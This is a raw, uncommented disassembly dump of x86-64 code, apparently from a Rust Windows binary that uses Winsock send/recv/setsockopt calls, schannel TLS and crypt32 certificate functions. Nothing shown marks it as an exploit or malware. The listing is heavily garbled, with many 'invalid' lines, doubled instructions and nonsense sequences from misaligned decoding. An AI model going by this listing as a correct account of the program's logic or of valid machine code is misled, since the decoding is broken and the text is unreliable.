mov rcx, qword [rbp + 0x10]
cmp al, 0xd
jne case.0x140110e46.63
push rcx
mov qword [rcx], 2
add byte [rax], al
add byte [rcx - 0x39], cl
and al, 0x38
cmp byte [rax], al
add byte [rax], al
invalid
mov qword [r12 + 0x38], 0
cmp byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
invalid
lea rax, [rsi - 2]
dec byte [rax - 0x7d]
clc
cmp rax, 2
jb case.0x14010aa7a.8
invalid
add dh, byte [rdx + 0x4b]
cmp r14, 1
cmp esi, 1
jne case.0x14010aa7a.8
lea rax, [rdi - 1]
lea eax, [rdi - 1]
mov qword [rbp + 0x18], rax
sbb byte [r8 - 0x75], r9b
mov rcx, qword [rdi - 1]
dec qword [r8 - 0x75]
mov rax, qword [rdi + 7]
invalid
invalid
mov qword [rbp + 8], rcx
mov qword [rbp + 0x10], rax
adc r15b, r15b
adc byte [rax - 0x75], cl
invalid
invalid
call qword [rax]
mov rax, qword [rbp + 0x10]
cmp qword [rax + 8], 0
cmp dword [rax + 8], 0
adc byte [r8 - 0x7d], r9b
adc byte [rax - 0x7d], cl
js case.0x1400ed2ec.361
add byte [rdi + rsi*2 + 0x48], dh
je case.0x14010ab6c.30
ja case.0x140110d10.4
cmp qword [rax + 0x10], 0x11
cmp dword [rax + 0x10], 0x11
jae case.0x14010aa3a.36
pop rcx
mov r8, qword [rbp + 8]
jmp case.0x140110e46.56
mov qword [rcx], 1
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rcx + 8], rdi
jns 0x140110ec6
mov qword [r12 + 0x38], 0
and al, 0x38
add byte [rax], al
add byte [rax], al
add byte [rax - 0x7f], cl
add rsp, 0xa8
add esp, 0xa8
invalid
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop r15
pop rbp
ret
mov rax, rdi
mov eax, edi
clc
shr rax, 0x20
cmp eax, 0x28
clc
sub byte [rdi], cl
xchg ecx, esp
invalid
ja case.default.0x140110efd
add byte [rax], al
add byte [rax - 0x73], cl
lea rcx, [0x1401ef124]
or eax, 0xde232
loop 0x140110efe
add byte [rax + 0x63], cl
movsxd rax, dword [rcx + rax*4]
add al, 0x81
add rax, rcx
enter 0xffffffffffff8b48, 0x4d
mov rcx, qword [rbp + 0x10]
mov ecx, dword [rbp + 0x10]
adc bh, bh
jmp rax
loopne case.0x140110e46.61
xor eax, eax
shr cl, 0x58
jmp 0x140110e5e
invalid
mov r8, qword [rbp + 8]
mov eax, dword [rbp + 8]
or byte [r13 - 0x75], r9b
mov r8, qword [r8 - 8]
clc
clc
mov rcx, qword [0x14023c258]
mov ecx, dword [0x14023c258]
add byte [rcx], dh
xor edx, edx
sar bh, cl
call qword [sym.imp.KERNEL32.dll_HeapFree]
adc eax, 0x7e10b
invalid
add byte [rax - 0x75], cl
mov rcx, qword [0x14023c258]
or eax, 0x12b334
adc al, byte [rax]
add byte [rcx], dh
xor edx, edx
ror byte [rbx + rcx*4 + 0x45], cl
mov r8, qword [rbp + 0x18]
sbb bh, bh
call qword [sym.imp.KERNEL32.dll_HeapFree]
adc eax, 0x7e0f8
jmp case.0x14010aa7a.8
xchg ebp, eax
mov al, 0x25
jmp 0x140110e5e
invalid
push qword [rax - 0xe116dd]
mov al, 0x23
jmp 0x140110e5e
invalid
push qword [rax - 0xe816dc]
mov al, 0x24
jmp 0x140110e5e
invalid
push qword [rax - 0xef16e5]
mov al, 0x1b
jmp 0x140110e5e
invalid
push qword [rax - 0xf616de]
mov al, 0x22
jmp 0x140110e5e
invalid
push qword [rax - 0xfd16f0]
mov al, reloc.WS2_32.dll_recv
adc cl, ch
jmp 0x140110e5e
add bh, bh
invalid
push qword [rax - 0x10416f2]
mov al, 0xe
jmp 0x140110e5e
sti
invalid
invalid
invalid
invalid
push qword [rax - 0x10b16df]
mov al, 0x21
jmp 0x140110e5e
invalid
push qword [rax - 0x11216f5]
mov al, 0xb
jmp 0x140110e5e
invalid
push qword [rax - 0x11916fc]
mov al, 4
jmp 0x140110e5e
invalid
push qword [rax - 0x12016d8]
mov al, 0x28
jmp 0x140110e5e
invalid
push qword [rax - 0x12716f4]
mov al, 0xc
jmp 0x140110e5e
invalid
invalid
push qword [rax - 0x12e16f7]
mov al, 9
jmp 0x140110e5e
invalid
push qword [rax - 0x13516e7]
mov al, 0x19
jmp 0x140110e5e
invalid
invalid
push qword [rax - 0x13c16e8]
mov al, 0x18
sbb cl, ch
jmp 0x140110e5e
ret
invalid
push qword [rax - 0x14316fe]
mov al, 2
jmp 0x140110e5e
invalid
push qword [rax - 0x14a16f1]
mov al, recv
psubsw mm6, qword [rbp - 0x4f000002]
add ebp, ecx
invalid
jmp 0x140110e5e
invalid
invalid
mov al, 3
jmp 0x140110e5e
scasb al, byte [rdi]
invalid
invalid
push qword [rax - 0x15816f9]
mov al, 7
invalid
jmp 0x140110e5e
cmpsd dword [rsi], dword [rdi]
invalid
invalid
push qword [rax - 0x15f16ff]
mov al, 1
jmp 0x140110e5e
invalid
push qword [rax - 0x16616e1]
mov al, 0x1f
jmp 0x140110e5e
cdq
invalid
invalid
push qword [rax - 0x16d16ef]
mov al, 0x11
jmp 0x140110e5e
invalid
push qword [rax - 0x17816d7]
mov al, 0x29
jmp case.0x140110b91.384
invalid
push qword [rax - 0x17b16ec]
mov al, setsockopt
jmp 0x140110e5e
invalid
push qword [rax - 0x18216fb]
mov al, 5
jmp 0x140110e5e
invalid
push qword [rax - 0x18916eb]
mov al, reloc.WS2_32.dll_setsockopt
jmp 0x140110e5e
jbe case.0x1400defac.293
invalid
invalid
invalid
invalid
push qword [rax - 0x19016f3]
mov al, 0xd
jmp 0x140110e5e
outsd dx, dword [rsi]
invalid
invalid
invalid
invalid
push qword [rax - 0x19716fa]
mov al, 6
jmp 0x140110e5e
invalid
invalid
invalid
invalid
invalid
invalid
push qword [rax - 0x19e16ee]
mov al, send
jmp 0x140110e5e
invalid
invalid
invalid
invalid
invalid
push qword [rax - 0x1a516f6]
mov al, 0xa
jmp 0x140110e5e
pop rdx
invalid
invalid
invalid
invalid
invalid
push qword [rax - 0x1ac16f8]
mov al, 8
jmp 0x140110e5e
invalid
push qword [rax - 0x1b316e2]
mov al, 0x1e
jmp 0x140110e5e
invalid
invalid
invalid
invalid
invalid
push qword [rax - 0x1ba16e0]
mov al, 0x20
jmp 0x140110e5e
invalid
invalid
invalid
invalid
and cl, ch
invalid
invalid
push qword [rax - 0x1c116ea]
mov al, reloc.WS2_32.dll_shutdown
jmp 0x140110e5e
invalid
invalid
invalid
invalid
invalid
invalid
invalid
push qword [rax - 0x1c816d9]
mov al, 0x27
jmp 0x140110e5e
invalid
invalid
invalid
invalid
invalid
invalid
invalid
push qword [rax - 0x1cf16ed]
mov al, reloc.WS2_32.dll_send
jmp 0x140110e5e
xor dh, bh
invalid
invalid
xor dh, bh
invalid
mov al, 0x17
jmp 0x140110e5e
sub esi, edi
invalid
invalid
sub esi, edi
invalid
mov al, 0x1c
jmp 0x140110e5e
and bh, dh
invalid
mov al, 0x1d
jmp 0x140110e5e
sbb edi, esi
invalid
invalid
sbb edi, esi
invalid
mov al, 0x26
jmp 0x140110e5e
adc al, 0xfe
invalid
mov al, 0x1a
jmp 0x140110e5e
or eax, 0x48fffffe
invalid
lea rcx, str.assertion_failed:__self.context.is_null__
lea ecx, str.assertion_failed:__self.context.is_null__
or eax, 0xa8920
and byte [rcx - 0x72b3fff6], cl
mov dword [rdx], ecx
or al, byte [rax]
add byte [rbp + rcx*4 + 5], cl
lea r8, [0x1401b99a8]
lea eax, [0x1401b99a8]
add eax, 0xa8949
mov qword [r10], rcx
add byte [rdx + 0x29], bh
sub dword [rax], eax
add byte [rax], al
or al, byte [rax]
mov edx, 0x29
add byte [rax], al
add al, ch
invalid
add byte [rax], al
call fcn.140186b70
invalid
add bl, ch
invalid
jmp 0x1401110a2
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.22_src_tls_stream.rsC:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
lea eax, [0x1401bdbe0]
retf
or al, byte [rax]
mov rcx, rbx
mov ecx, ebx
call fcn.1401869f0
jbe case.0x1400e3648.221
pop rcx
invalid
add bl, ch
lea r8, es:[0x1401bdb58]
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.22_src_tls_stream.rsC:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
jmp 0x1401110a2
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.22_src_tls_stream.rsC:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
lea eax, [0x1401bdb58]
add eax, 0xacad5
retf 0xa
or al, byte [rax]
mov rcx, r13
mov ecx, ebp
jmp 0x128eb99d2
mov rdx, rbx
mov edx, ebx
invalid
call fcn.140186af0
invalid
pop rdx
invalid
jmp 0x1401110a2
adc cl, byte [rbp + rcx*4 + 5]
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.22_src_tls_stream.rsC:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
lea eax, [0x1401bdb70]
add eax, 0xacad9
fxch st(2)
or al, byte [rax]
add byte [rcx + rcx*4 - 7], cl
mov rcx, r15
mov ecx, edi
stc
mov rdx, rbx
invalid
call fcn.140186af0
pop rdx
invalid
add byte [rdi], cl
ud2
or esp, dword [rsi + 0x66]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
nop dword [rax + rax]
test byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
push rsp
and al, 0x10
invalid
adc byte [rbp + 0x41], dl
push rdi
push rbp
push r15
push r14
push rsi
push r13
push rbp
push r12
push rsp
push rsi
push rdi
push rbx
sub rsp, 0x28
sub esp, 0x28
sub esp, 0x28
in al, dx
sub byte [rax - 0x73], cl
lea rbp, [rdx + 0x80]
stosb byte [rdi], al
add byte [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rbp + 0x10]
mov eax, dword [rbp + 0x10]
adc byte [r8 - 0x75], r9b
mov rdx, qword [rax + 8]
mov edx, dword [rax + 8]
push rax
or byte [rbx + rcx*4 + 0x40], cl
invalid
invalid
invalid
mov r8, qword [rax + 0x10]
mov eax, dword [rax + 0x10]
adc byte [rax - 0x75], cl
or r8b, r13b
or al, ch
mov rcx, qword [rbp + 8]
mov ecx, dword [rbp + 8]
or al, ch
call fcn.140005270
mov rcx, qword [rbp + 0x18]
mov ecx, dword [rbp + 0x18]
pop qword [rcx - 0x11]
out dx, eax
out dx, eax
dec dword [rax - 0x75]
mov ecx, dword [rbp + 0x18]
sbb r8b, r13b
call fcn.140029350
invalid
invalid
call qword [rax + 0x28c48348]
nop
add rsp, 0x28
add esp, 0x28
add esp, 0x28
invalid
sub byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop rbp
pop r14
pop rsi
pop r15
pop rbp
ret
nop dword [rax]
add byte [rax - 0x77], cl
add byte [rax - 0x77], cl
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
push rsp
and al, 0x10
push rbp
push r15
push rdi
push r14
push rsi
push r13
push r12
push rsp
push rsi
push rdi
push rbx
sub rsp, 0x28
in al, dx
sub byte [rax - 0x73], cl
lea rbp, [rdx + 0x80]
stosb byte [rdi], al
add byte [rax], 0
add byte [rax], al
add byte [rax - 0x75], cl
mov rcx, qword [rbp + 0x18]
mov ecx, dword [rbp + 0x18]
sbb r8b, r13b
sbb al, ch
call fcn.140114ee0
mov ebx, 0x9000003d
cmp eax, 0x48900000
add esp, 0x28
invalid
invalid
add byte [rax], al
add byte [rax + 0x28c48348], dl
nop
add rsp, 0x28
invalid
sub byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop r14
pop rsi
pop r15
pop rdi
pop rbp
ret
int3
int3
int3
int3
int3
int3
int3
push rsi
push rbp
push rsp
sub esp, 0x78
in al, dx
js case.0x1400e7c73.190
lea ebp, [rsp + 0x70]
insb byte [rdi], dx
and al, 0x70
jo 0x14011119e
mov dword [rbp], 0xfffffffe
invalid
invalid
invalid
dec dword [rcx + rcx*4 - 0x39]
mov ebp, ecx
int 0x48
mov dword [rcx + 0x38], edx
cmp byte [rbp - 0x75], cl
mov esi, dword [rax]
xor byte [rcx - 0x75], cl
mov ebx, dword [rax + 8]
pop rax
or byte [rcx - 0x75], cl
invalid
invalid
mov esi, dword [rax + 0x10]
jo 0x140111182
adc byte [rcx - 0x75], cl
sbb byte [rcx - 0x77], cl
sbb byte [rcx - 0x77], cl
mov ecx, dword [rax + 0x18]
sbb byte [rcx - 0x77], cl
mov eax, ebx
fmul dword [rcx + 0x29]
enter 0xe76, 0x4c
jbe case.0x14014c89f.206
invalid
invalid
add ecx, esi
int1
shr al, cl
pop rdi
push rbx
invalid
add byte [rax - 0x77], cl
pop rdi
sbb byte [rax + 0x39], cl
cmp ebx, esi
mov qword [rbp - 8], r13
insd dword [rdi], dx
clc
invalid
push rbx
add eax, dword [rax]
add byte [rax + 0x29], cl
add r14, rsi
add esi, esi
test byte [rbp + rcx*4 + 0x7d], 0xb8
lea edi, [rbp - 0x48]
jge case.0x14014c89f.200
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
nop dword [rax + rax]
test byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x75], cl
push rbp
jo 0x1401111fe
invalid
mov rdx, qword [r13 + 0x70]
mov edx, dword [rbp + 0x70]
mov rcx, qword [r13 + 0x78]
mov ecx, dword [rbp + 0x78]
js case.0x1400e9218.217
cmp rcx, rdx
cmp ecx, edx
ja case.0x1400af7b4.494
xchg dword [rdx], ebx
add eax, dword [rax]
add byte [rdi], cl
sbb al, byte [rbx]
add byte [rax], al
jne 0x140111252
test dword [rbx + 0x4c000000], ecx
mov ecx, edi
stc
mov eax, dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 7], cl
mov rcx, r15
stc
mov rdx, r13
mov edx, ebp
call fcn.140113540
outsb dx, byte [rsi]
and eax, dword [rax]
invalid
add byte [rax], al
add byte [rbx - 0x77c47bb], cl
mov eax, dword [rbp - 0x48]
cmp eax, 1
invalid
mov eax, 0x7501f883
add dword [rbp + 0x61], esi
jne 0x14011123b
invalid
mov r13, qword [rbp - 8]
mov ebp, dword [rbp - 8]
insd dword [rdi], dx
clc
cmp qword [r13 + 0xf8], 0
cmp dword [rbp + 0xf8], 0
mov ebp, pe_nt_image_headers64
add byte [rsi + rbp + 0x4c], dh
je 0x140111216
mov rcx, r15
mov rcx, r15
mov ecx, edi
stc
mov rdx, r13
mov edx, ebp
invalid
call fcn.140115000
cmp qword [rbp - 0x48], 0
cmp dword [rbp - 0x48], 0
jge case.0x14014c89f.196
add byte [rax - 0x75], cl
mov rsi, qword [rbp - 0x40]
mov esi, dword [rbp - 0x40]
jne case.0x1400e7c73.216
jne 0x1401112b8
mov dh, 0
add byte [rax], al
invalid
add byte [rax - 0x7b], cl
test byte [rbx + rcx*4 + 0x6d], 0xf8
insd dword [rdi], dx
clc
test rsi, rsi
test esi, esi
mov r13, qword [rbp - 8]
insd dword [rdi], dx
clc
je 0x140111252
mov qword [r13 + 0xf8], 0
mov qword [r13 + 0xf8], 0
test eax, edi
clc
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 7], cl
mov rcx, r15
stc
mov rdx, r13
call case.0x1400e9218.353
cmp byte [rbp - 0x48], 0
jge 0x1401111dc
invalid
invalid
jge 0x1401111dc
add byte [rdi], cl
test dword [rbx - 0x80000000], eax
add byte [rax], al
invalid
jge case.0x14014c89f.197
jne 0x1401112ae
add byte [rax], al
cmp byte [rbp - 0x47], 0
add byte [rbx + rcx*4 + 0x6d], cl
clc
mov r13, qword [rbp - 8]
je 0x1401111b0
jmp 0x140111252
cmp eax, 2
mov r13, qword [rbp - 8]
clc
add cl, byte [rbx + rcx*4 + 0x6d]
clc
jne 0x140111252
invalid
mov rsi, qword [rbp - 0x40]
test rsi, rsi
div byte [rbp + 0x74]
div byte [rbp + 0x74]
jmp case.0x14010aa3a.81
add byte [rbp - 0x75], cl
jo case.0x14010aa3a.107
mov r12, qword [r13 + 0x70]
mov r15, qword [r13 + 0x78]
jge 0x1401112d2
mov edi, dword [rbp + 0x78]
jge 0x1401112d2
mov rsi, r12
sub rsi, r15
dec byte [rdi]
invalid
invalid
add al, byte [rax]
invalid
dec byte [rdi]
invalid
mov rdx, qword [r13 + 0x60]
add rdx, r15
cmp rbx, rsi
cmovb rsi, rbx
mov rcx, r14
mov rcx, r14
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
pop rsp
push rdx
invalid
add byte [rcx + 1], cl
invalid
pop rsp
push rdx
invalid
cmp r15, r12
ja 0x140111514
add byte [rax], al
add byte [rax], al
mov qword [r13 + 0x78], r15
add rsi, qword [rdi + 0x10]
add esi, dword [rdi + 0x10]
add esi, dword [rdi + 0x10]
jb 0x14011152e
add byte [rax], al
cmp rsi, qword [rdi + 0x18]
ja 0x140111548
invalid
movsd dword [rdi], dword [rsi]
add al, byte [rax]
invalid
xchg dword [rbp + 0x48000002], esp
mov qword [rdi + 0x10], rsi
mov dword [rdi + 0x10], esi
ja 0x1401112b7
xor esi, esi
jmp case.0x14010aa3a.80
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
jne 0x140111272
add byte [rax], al
mov rsi, qword [rbp - 0x40]
mov r13, qword [rbp - 8]
mov ebp, dword [rbp - 8]
jmp case.0x140110e46.97
or dword [rbx + rcx*4 + 0x6d], ecx
mov r13, qword [rbp - 8]
mov ebp, dword [rbp - 8]
insd dword [rdi], dx
clc
test rsi, rsi
je case.0x14010aa3a.81
invalid
sbb ecx, dword [rcx + 0x3e383f3]
mov ebx, esi
and ebx, 3
lea rax, [0x1401ef1c8]
lea eax, [0x1401ef1c8]
add eax, 0xddefb
movsxd rcx, dword [rax + rbx*4]
invalid
or al, 0x98
cwde
add rcx, rax
add ecx, eax
jmp rcx
loope 0x1401112e6
movzx eax, byte [rsi + 0x10]
jmp 0x140111319
mov dh, 0x46
adc bl, ch
cmp eax, 0x8ce9f631
xor esi, esi
jmp case.0x14010aa3a.80
invalid
invalid
xor esi, esi
imul cl
mov word [rax], es
add byte [rax], al
jmp case.0x14010aa3a.80
mov rcx, rsi
mov ecx, esi
int1
shr rcx, 0x20
call fcn.14014c870
jmp 0x140111319
xor dword [rbp + 0x28eb0003], 0x48f08948
shr eax, 0x20
mov ch, 3
add bl, ch
sub byte [rax - 0x77], cl
invalid
invalid
mov rax, rsi
mov eax, esi
invalid
shr rax, 0x20
cmp eax, 0x28
ja case.default.0x14011130f
add byte [rax], al
clc
sub byte [rdi], cl
xchg dword [rbp + 1], edx
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0xdded0
invalid
invalid
lea rcx, [0x1401ef1d8]
or eax, 0x4634800
or dword [rax + 1], 0x31e0ffc8
add eax, ecx
jmp rax
invalid
add byte [rax + 0x63], cl
add al, 0x81
movsxd rax, dword [rcx + rax*4]
add rax, rcx
add eax, ecx
enter 0xffffffffffffe0ff, 0x31
jmp rax
xor eax, eax
jmp 0x140111319
invalid
shr bl, 4
add al, 0xf
movzx eax, byte [rsi + 0xf]
mov dh, 0x46
invalid
cmp al, 0xd
jne case.0x14010aa3a.80
push rdx
mov qword [r13 + 0x38], 0
add byte [rax], al
add byte [rax], al
add byte [rdi + 1], bh
mov edi, 1
add byte [rax - 0x73], cl
dec byte [r8 - 0x7d]
lea rax, [rbx - 2]
lea eax, [rbx - 2]
cmp rax, 2
clc
add cl, byte [rdi]
invalid
jb case.0x140113275.40
add byte [rbx + 0x7d7501fb], al
cmp ebx, 1
jne case.0x140113275.40
sti
add dword [rbp + 0x7d], esi
lea rax, [rsi - 1]
lea eax, [rsi - 1]
dec dword [rax - 0x77]
dec dword [rax - 0x77]
mov qword [rbp - 8], rax
clc
mov rcx, qword [rsi - 1]
mov ecx, dword [rsi - 1]
dec qword [rax - 0x75]
invalid
mov rax, qword [rsi + 7]
invalid
mov qword [rbp - 0x10], rcx
mov dword [rbp - 0x10], ecx
mov qword [rbp - 0x18], rax
call 0xcb592458
call 0xcb592458
call qword [rax]
mov rax, qword [rbp - 0x18]
invalid
call 0x1488996a7
call 0x1488996a7
cmp qword [rax + 8], 0
cmp dword [rax + 8], 0
add byte [rbp + rax*2 + 0x48], dh
je case.0x14010aa3a.98
cmp qword [rax + 0x10], 0x11
cmp qword [rax + 0x10], 0x11
cmp dword [rax + 0x10], 0x11
jae 0x140111390
invalid
mov r8, qword [rbp - 0x10]
jmp 0x140111398
mov qword [r13 + 0x38], 0
mov dword [rbp + 0x38], 0
cmp byte [r8], r8b
add byte [rax], al
add byte [rcx], dh
xor edi, edi
dec dword [rax - 0x77]
clc
mov rax, rdi
mov rdx, rsi
mov edx, esi
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop rsi
pop r15
pop rdi
pop rbp
ret
mov r8, qword [rbp - 0x10]
invalid
invalid
mov r8, qword [r8 - 8]
mov rcx, qword [0x14023c258]
mov ecx, dword [0x14023c258]
or eax, 0x12aeb9
mov ecx, 0x310012ae
xor edx, edx
sar bh, cl
call qword [sym.imp.KERNEL32.dll_HeapFree]
adc eax, 0x7dc81
mov rcx, qword [0x14023c258]
mov ecx, dword [0x14023c258]
or eax, 0x12aeaa
adc al, byte [rax]
xor edx, edx
ror byte [rbx + rcx*4 + 0x45], cl
mov r8, qword [rbp - 8]
clc
call qword [sym.imp.KERNEL32.dll_HeapFree]
adc eax, 0x7dc6e
outsb dx, byte [rsi]
fadd qword [rdi]
add bl, ch
jmp 0x140111379
mov al, 0x25
invalid
push rsi
invalid
jmp 0x140111379
mov al, 0x25
and eax, 0xffff56e9
push qword [rax - 0xb016dd]
mov al, 0x23
invalid
invalid
invalid
jmp 0x140111319
invalid
mov al, 0x23
and ebp, ecx
invalid
jmp 0x140111319
invalid
mov al, 0x24
and al, 0xe9
invalid
jmp 0x140111319
invalid
mov al, 0x1b
sbb ebp, ecx
jmp 0x140111319
invalid
invalid
mov al, 0x22
and ch, cl
cmp bh, bh
jmp 0x140111319
invalid
mov al, reloc.WS2_32.dll_recv
adc cl, ch
xor edi, edi
jmp 0x140111319
invalid
mov al, 0xe
invalid
jmp 0x140111319
invalid
mov al, 0x21
jmp 0x140111319
invalid
invalid
and ecx, ebp
and eax, 0xb0ffffff
invalid
invalid
invalid
invalid
mov al, 0xb
jmp 0x140111319
invalid
invalid
or ebp, ecx
invalid
invalid
mov al, 4
add al, 0xe9
invalid
jmp 0x140111319
invalid
mov al, 0x28
jmp 0x140111319
invalid
invalid
invalid
mov al, 0xc
jmp 0x140111319
invalid
mov al, 9
jmp 0x140111319
invalid
invalid
invalid
mov al, 0x19
jmp 0x140111319
invalid
invalid
invalid
mov al, 0x18
jmp 0x140111319
invalid
invalid
invalid
mov al, 2
jmp 0x140111319
invalid
invalid
invalid
mov al, recv
jmp 0x140111319
invalid
invalid
invalid
mov al, 3
jmp 0x140111319
invalid
invalid
invalid
mov al, 7
jmp 0x140111319
invalid
invalid
invalid
mov al, 1
jmp 0x140111319
mov al, 0x1f
jmp 0x140111319
invalid
invalid
invalid
mov al, 0x11
jmp 0x140111319
invalid
invalid
invalid
mov al, 0x29
jmp 0x140111319
invalid
invalid
invalid
mov al, setsockopt
jmp 0x140111319
invalid
invalid
invalid
mov al, 5
jmp 0x140111319
invalid
invalid
invalid
mov al, reloc.WS2_32.dll_setsockopt
jmp 0x140111319
invalid
invalid
invalid
mov al, 0xd
jmp 0x140111319
invalid
invalid
invalid
mov al, 6
jmp 0x140111319
invalid
invalid
invalid
mov al, send
jmp 0x140111319
invalid
invalid
invalid
mov al, 0xa
jmp 0x140111319
invalid
invalid
invalid
mov al, 8
jmp 0x140111319
invalid
invalid
invalid
invalid
mov al, 0x1e
jmp 0x140111319
invalid
invalid
invalid
mov al, 0x20
jmp 0x140111319
invalid
mov al, reloc.WS2_32.dll_shutdown
jmp 0x140111319
invalid
invalid
invalid
mov al, 0x27
jmp 0x140111319
invalid
invalid
invalid
mov al, reloc.WS2_32.dll_send
jmp 0x140111319
invalid
invalid
invalid
mov al, 0x17
jmp 0x140111319
invalid
invalid
invalid
mov al, 0x1c
jmp 0x140111319
invalid
invalid
invalid
mov al, 0x1d
jmp 0x140111319
mov al, 0x26
jmp 0x140111319
mov al, 0x1a
jmp 0x140111319
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.22_src_tls_stream.rsC:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
call fcn.1401869f0
jmp 0x14011157d
add byte [rax], al
invalid
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.22_src_tls_stream.rsC:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
mov rcx, r15
mov rdx, r12
loop 0x1401114f6
ficom word [rdi + rax]
jmp 0x14011157d
lea rcx, str.assertion_failed:_pos___self.dec_in.get_ref__.len___as_u64
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.22_src_tls_stream.rsC:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
invalid
mov edx, 0x3b
call fcn.140186b70
jmp 0x14011157d
lea rcx, str.filled_overflowfilled_must_not_become_larger_than_initialized
lea r8, [0x1401bda58]
mov edx, recv
call fcn.140186f60
invalid
add bl, ch
invalid
lea rax, [0x1401c4600]
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x40], 1
lea rax, [0x1401ea218]
mov qword [rbp - 0x38], rax
enter 0x570f, 0xffffffffffffffc0
movups xmmword [rbp - 0x30], xmm0
lea rdx, [0x1401bda58]
lea rcx, [rbp - 0x48]
call fcn.1401869b0
ud2
adc byte [rbp + 0x56], dl
push rdi
push rbx
sub rsp, 0x28
sub esp, 0x28
lea rbp, [rdx + 0x40]
mov rax, qword [rbp - 0x18]
call 0x14861a291
mov rdx, qword [rax + 8]
mov rcx, qword [rbp - 8]
call fcn.140046050
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop rbp
ret
int3
push rsi
push rsi
push rdi
push rbx
sub rsp, 0x38
cmp byte [rax - 0x73], cl
lea rbp, [rsp + 0x30]
lea ebp, [rsp + 0x30]
insb byte [rdi], dx
and al, 0x30
mov qword [rbp], 0xfffffffffffffffe
mov rsi, rcx
invalid
mov r8, qword [rcx + 0x10]
test r8, r8
je case.0x1400e3648.262
invalid
invalid
cmp qword [rsi + 0x18], 0
je case.0x1400e3648.262
invalid
mov rcx, qword [0x14023c258]
mov ecx, dword [0x14023c258]
xor edx, edx
sar bh, cl
adc eax, 0x7d88d
invalid
fadd dword [rdi]
invalid
invalid
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rsi + 0x28]
test rax, rax
mov qword [rbp - 8], rsi
je case.0x1400c0ff4.364
lock dec qword [rax]
jne case.0x1400c0ff4.364
adc dword [rax - 0x75], ecx
clc
clc
mov rax, qword [rbp - 8]
mov rcx, qword [rax + 0x28]
mov rdx, qword [rax + 0x30]
call fcn.14006cb50
xchg ecx, eax
mov bl, 0xf5
cmc
dec dword [rax - 0x75]
mov rax, qword [rbp - 8]
clc
cmp qword [rax], 0
je case.0x1400defac.352
mov rax, qword [rbp - 8]
clc
mov rcx, qword [rax + 8]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
adc eax, 0x7dca7
adc eax, 0x7dca7
mov r15, qword [rbp - 8]
mov rsi, qword [r15 + 0x38]
test rsi, rsi
je case.0x1400dfa4d.297
mov rdi, qword [r15 + 0x48]
test rdi, rdi
je case.0x1400c0ff4.378
lea rbx, [rsi + 8]
or byte [rbx + rcx*4 + 0x35], cl
fadd dword cs:[rdi]
fadd dword [rdi]
mov r14, qword [sym.imp.KERNEL32.dll_HeapFree]
mov esi, dword [sym.imp.KERNEL32.dll_HeapFree]
add bl, ch
or eax, 0x401f0f
nop dword [rax]
jmp 0x140111809
invalid
add byte [rax - 0x7d], cl
add rbx, 0x18
dec rdi
dec edi
ret
iretd
je case.0x1400c0ff4.378
sbb byte [rax - 0x7d], cl
cmp qword [rbx], 0
cmp eax, dword [rax]
je case.0x1400ced76.367
int1
mov r8, qword [rbx - 8]
mov rcx, qword [0x14023c258]
adc al, byte [rax]
xor edx, edx
call r14
call rsi
jmp case.0x1400ced76.367
cmp qword [r15 + 0x40], 0
cmp dword [rdi + 0x40], 0
je case.0x1400dfa4d.297
mov rcx, qword [0x14023c258]
sub dword [rdx - 0x2dceffee], ebp
add byte [rcx], dh
xor edx, edx
